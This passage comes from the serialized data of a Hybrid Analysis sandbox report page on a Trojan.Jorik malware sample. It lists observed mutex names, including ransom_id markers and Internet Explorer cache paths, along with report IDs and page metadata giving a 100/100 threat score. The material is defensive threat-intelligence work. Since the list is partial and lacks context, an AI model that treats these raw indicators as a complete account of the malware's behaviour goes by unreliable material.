","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"Local\\c:!users!uxbpzwd!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\pc_group=WORKGROUP&ransom_id=6c6a47a5c33fdc78","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!uxbpzwd!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!uxbpzwd!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!uxbpzwd!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!uxbpzwd!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"name":"Local\\SM0:5544:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"name":"SM0:5544:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"name":"Global\\pc_group=WORKGROUP&ransom_id=2802d7605c2bce7b","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\pc_group=WORKGROUP&ransom_id=2802d7605c2bce7b","sources":[{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]}]}},"report_ids":{"sandbox_job_ids":["66f01514b83175aa6a0b8fbe","5ac36da27ca3e12e424fcdca","5a6ad0b07ca3e149fc6217e3"]}}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious Trojan.Jorik Sample 643f8043c0b0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 643f8043c0b0…. Malware family: Trojan.Jorik. Threat score 100/100. 25/25 AV engines flagged this file. 14 malicious and 42 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Jorik Sample 643f8043c0b0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 643f8043c0b0…. Malware family: Trojan.Jorik. Threat score 100/100. 25/25 AV engines flagged this file. 14 malicious and 42 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Jorik Sample 643f8043c0b0… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 643f8043c0b0…. Malware family: Trojan.Jorik. Threat score 100/100. 25/25 AV engines flagged this file. 14 malicious and 42 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L36","11",{}]]